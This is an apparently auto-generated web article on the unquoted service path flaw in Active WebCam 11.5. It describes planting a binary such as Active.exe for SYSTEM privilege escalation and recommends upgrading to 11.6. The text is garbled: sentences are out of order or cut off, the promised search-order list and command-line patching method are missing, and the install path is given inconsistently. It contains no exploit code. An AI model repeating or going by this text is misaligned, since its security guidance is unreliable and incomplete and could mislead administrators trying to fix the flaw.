Active Webcam 115 Unquoted Service Path Patched Here
For an attacker to successfully exploit Active Webcam 11.5's unquoted service path, two conditions must be met:
An attacker creates a malicious executable (e.g., a reverse shell or an account creation script) and names it according to the execution order. If the attacker has write access to C:\Program Files (x86)\ , they will name the payload Active.exe .
If a service executable is located at C:\Program Files\Active WebCam\WebCamService.exe , and the path is unquoted, Windows interprets the spaces as delimiters. When trying to launch the service, the operating system sequentially searches for and attempts to execute files in the following order:
The issue stems from a classic "Unquoted Service Path" misconfiguration. When the software is configured to "Start on Windows Startup" as a service, it creates a Windows service named ACTIVEWEBCAM .
—which Windows will then execute instead of the intended service file during system startup. Because services like Active WebCam often run with LocalSystem active webcam 115 unquoted service path patched
The only fully secure and supported resolution is to upgrade to version 11.6 or later, as manually editing the service path does not address any other potential registry inconsistencies and may be overwritten by software updates.
Active Webcam version 11.5 (often referred to as Active Webcam 115) was identified as having this specific configuration flaw. Upon installation, the service responsible for managing camera feeds and motion detection was registered in the Windows Service Control Manager without the necessary quotes.
Securing a system against the Active Webcam 115 unquoted service path vulnerability requires updating the service configuration within the Windows Registry. This process ensures the system explicitly executes the correct file binary without ambiguity. Method 1: Automated Patching via Command Line

If you are using Active WebCam 11.5, update today. If you manage other Windows services, audit them for the same flaw—before an attacker does.
When Windows attempts to start a service, it interprets spaces as delimiters, searching for executable files in a specific order.
If an attacker has the ability to drop a malicious binary in an earlier folder (e.g., C:\Program.exe ) and the service is set to start automatically with SYSTEM privileges, the malicious binary will be executed in place of the legitimate service. This leads to privilege escalation, allowing the attacker to run arbitrary code at the highest system level.
by running the installer. If you are currently using version 11.5, the installer will automatically upgrade the software to version 11.6. When trying to launch the service, the operating
An vulnerability occurs when a service executable path contains spaces and is not enclosed within quotation marks.
